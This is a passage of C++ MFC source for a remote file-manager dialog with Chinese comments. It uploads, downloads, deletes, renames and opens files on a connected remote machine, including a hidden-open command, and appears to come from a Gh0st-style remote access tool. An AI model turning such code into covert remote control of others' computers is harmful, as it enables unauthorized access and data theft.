m_nCounter += dwBytesWrite;
ShowProgress();
if (m_bIsStop)
SendStop();
else {
BYTE bToken[9];
bToken[0] = COMMAND_CONTINUE;
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
}
void CFileManagerDlg::EndLocalRecvFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) {
m_Remote_Download_Job.RemoveAll();
m_bIsStop = false;
// 重置传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
EnableControl(TRUE);
FixedLocalFileList(".");
ShowMessage("本地:装载目录 %s\\*.* 完成", m_Local_Path);
} else {
// 我靠不sleep下会出错服了可能以前的数据还没send出去
Sleep(5);
SendDownloadJob();
}
return;
}
void CFileManagerDlg::EndLocalUploadFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) {
m_Remote_Upload_Job.RemoveAll();
m_bIsStop = false;
EnableControl(TRUE);
GetRemoteFileList(".");
ShowMessage("远程:装载目录 %s\\*.* 完成", m_Remote_Path);
} else {
// 我靠不sleep下会出错服了可能以前的数据还没send出去
Sleep(5);
SendUploadJob();
}
return;
}
void CFileManagerDlg::EndRemoteDeleteFile()
{
if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) {
m_bIsStop = false;
EnableControl(TRUE);
GetRemoteFileList(".");
ShowMessage("远程:装载目录 %s\\*.* 完成", m_Remote_Path);
} else {
// 我靠不sleep下会出错服了可能以前的数据还没send出去
Sleep(5);
SendDeleteJob();
}
return;
}
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_ContextObject->Send2Client(&bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
m_ContextObject->Send2Client(&bBuff, 1);
}
void CFileManagerDlg::SendStop()
{
BYTE bBuff = COMMAND_STOP;
m_ContextObject->Send2Client(&bBuff, 1);
}
void CFileManagerDlg::ShowProgress()
{
char *lpDirection = NULL;
if (m_bIsUpload)
lpDirection = "传送文件";
else
lpDirection = "接收文件";
if ((int)m_nCounter == -1) {
m_nCounter = m_nOperatingFileLength;
}
int progress = (float)(m_nCounter * 100) / m_nOperatingFileLength;
ShowMessage("%s %s %dKB (%d%%)", lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress);
m_ProgressCtrl->SetPos(progress);
if (m_nCounter == m_nOperatingFileLength) {
m_nCounter = m_nOperatingFileLength = 0;
// 关闭文件句柄
}
}
void CFileManagerDlg::OnLocalDelete()
{
m_bIsUpload = true;
CString str;
if (m_list_local.GetSelectedCount() > 1)
str.Format("确定要将这 %d 项删除吗?", m_list_local.GetSelectedCount());
else {
CString file = m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
if (m_list_local.GetItemData(m_list_local.GetSelectionMark()) == 1)
str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file);
else
str.Format("确实要把“%s”删除吗?", file);
}
if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
EnableControl(FALSE);
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) { //so long as we have a valid POSITION, we keep iterating
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem)) {
file += '\\';
DeleteDirectory(file);
} else {
DeleteFile(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// 禁用文件管理窗口
EnableControl(TRUE);
FixedLocalFileList(".");
}
void CFileManagerDlg::OnRemoteDelete()
{
m_bIsUpload = false;
// TODO: Add your command handler code here
CString str;
if (m_list_remote.GetSelectedCount() > 1)
str.Format("确定要将这 %d 项删除吗?", m_list_remote.GetSelectedCount());
else {
CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1)
str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file);
else
str.Format("确实要把“%s”删除吗?", file);
}
if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
m_Remote_Delete_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) { //so long as we have a valid POSITION, we keep iterating
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
m_Remote_Delete_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
EnableControl(FALSE);
// 发送第一个下载任务
SendDeleteJob();
}
void CFileManagerDlg::OnRemoteStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
}
void CFileManagerDlg::OnLocalStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
}
void CFileManagerDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
void CFileManagerDlg::SendTransferMode()
{
CFileTransferModeDlg dlg(this);
dlg.m_strFileName = m_strUploadRemoteFile;
switch (dlg.DoModal()) {
case IDC_OVERWRITE:
m_nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_ADDITION:
m_nTransferMode = TRANSFER_MODE_ADDITION;
break;
case IDC_ADDITION_ALL:
m_nTransferMode = TRANSFER_MODE_ADDITION_ALL;
break;
case IDC_JUMP:
m_nTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_nTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDC_CANCEL:
m_nTransferMode = TRANSFER_MODE_CANCEL;
break;
}
if (m_nTransferMode == TRANSFER_MODE_CANCEL) {
m_bIsStop = true;
EndLocalUploadFile();
return;
}
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
{
FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
LONG dwOffsetLow = pFileSize->dwSizeLow;
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
ShowProgress();
if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop) {
EndLocalUploadFile();
return;
}
HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE) {
return;
}
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小为固定的9
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER);
// Token, 大小,偏移,数据
lpBuffer[0] = COMMAND_FILE_DATA;
memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));
// 返回值
bool bRet = true;
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
SAFE_CLOSE_HANDLE(hFile);
if (nNumberOfBytesRead > 0) {
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do {
if (wfd.cFileName[0] != '.') {
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
} else {
char strFile[MAX_PATH];
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
if(!RemoveDirectory(lpszDirectory)) {
return FALSE;
}
return true;
}
void CFileManagerDlg::OnLocalNewfolder()
{
if (m_Local_Path == "")
return;
// TODO: Add your command handler code here
CInputDialog dlg(this);
dlg.Init(_T("新建目录"), _T("请输入目录名称:"));
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) {
// 创建多层目录
MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\");
FixedLocalFileList(".");
}
}
void CFileManagerDlg::OnRemoteNewfolder()
{
if (m_Remote_Path == "")
return;
// TODO: Add your command handler code here
// TODO: Add your command handler code here
CInputDialog dlg(this);
dlg.Init(_T("新建目录"), _T("请输入目录名称:"));
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) {
CString file = m_Remote_Path + dlg.m_str + "\\";
UINT nPacketSize = file.GetLength() + 2;
// 创建多层目录
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
}
void CFileManagerDlg::OnTransfer()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalCopy();
} else {
OnRemoteCopy();
}
}
void CFileManagerDlg::OnFilemangerCompress()
{
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalCompress();
} else {
OnRemoteCompress();
}
}
void CFileManagerDlg::OnFilemangerUncompress()
{
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalUnCompress();
} else {
OnRemoteUnCompress();
}
}
void CFileManagerDlg::OnRename()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
m_list_local.EditLabel(m_list_local.GetSelectionMark());
} else {
m_list_remote.EditLabel(m_list_remote.GetSelectionMark());
}
}
void CFileManagerDlg::OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_local.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Local_Path + m_list_local.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Local_Path + str;
*pResult = ::MoveFile(strExistingFileName.GetBuffer(0), strNewFileName.GetBuffer(0));
}
void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_remote.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Remote_Path + str;
if (strExistingFileName != strNewFileName) {
UINT nPacketSize = strExistingFileName.GetLength() + strNewFileName.GetLength() + 3;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize);
lpBuffer[0] = COMMAND_RENAME_FILE;
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
}
void CFileManagerDlg::OnDelete()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalDelete();
} else {
OnRemoteDelete();
}
}
void CFileManagerDlg::OnNewfolder()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalNewfolder();
} else {
OnRemoteNewfolder();
}
}
void CFileManagerDlg::OnRefresh()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
FixedLocalFileList(".");
} else {
GetRemoteFileList(".");
}
}
void CFileManagerDlg::OnLocalOpen()
{
// TODO: Add your command handler code here
CString str;
str = m_Local_Path + m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
ShellExecute(NULL, "open", str, NULL, NULL, SW_SHOW);
}
void CFileManagerDlg::OnRemoteOpenShow()
{
// TODO: Add your command handler code here
CString str;
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_ContextObject->Send2Client(lpPacket, nPacketLength);
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRemoteOpenHide()
{
// TODO: Add your command handler code here
CString str;
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_ContextObject->Send2Client(lpPacket, nPacketLength);
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
CListCtrl *pListCtrl = &m_list_local;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(6, MF_BYPOSITION);
if (pListCtrl->GetSelectedCount() == 0) {
int count = pM->GetMenuItemCount();
for (int i = 0; i < count; ++i) {
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1) {
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1) {
// 是文件夹
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_ENABLED);
} else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
int nRemoteOpenMenuIndex = 5;
CListCtrl *pListCtrl = &m_list_remote;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND);
if (pListCtrl->GetSelectedCount() == 0) {
int count = pM->GetMenuItemCount();
for (int i = 0; i < count; ++i) {
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1) {
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1) {
// 是文件夹
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED);
else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED);
} else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try {
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) {
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\')) {
p = CharNext(p);
}
// Advance over it.
if(*p) {
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\')) {
p = CharNext(p);
}
// Advance over it also.
if(*p) {
p++;
}
} else if(*(p+1) == TEXT(':')) { // Not a UNC. See if it's <drive>:
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\'))) {
p++;
}
}
while(*p) {
if(*p == TEXT('\\')) {
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff) {
if(!CreateDirectory(pszDirCopy, NULL)) {
if(GetLastError() != ERROR_ALREADY_EXISTS) {
free(pszDirCopy);
return FALSE;
}
}
} else {
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) {
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}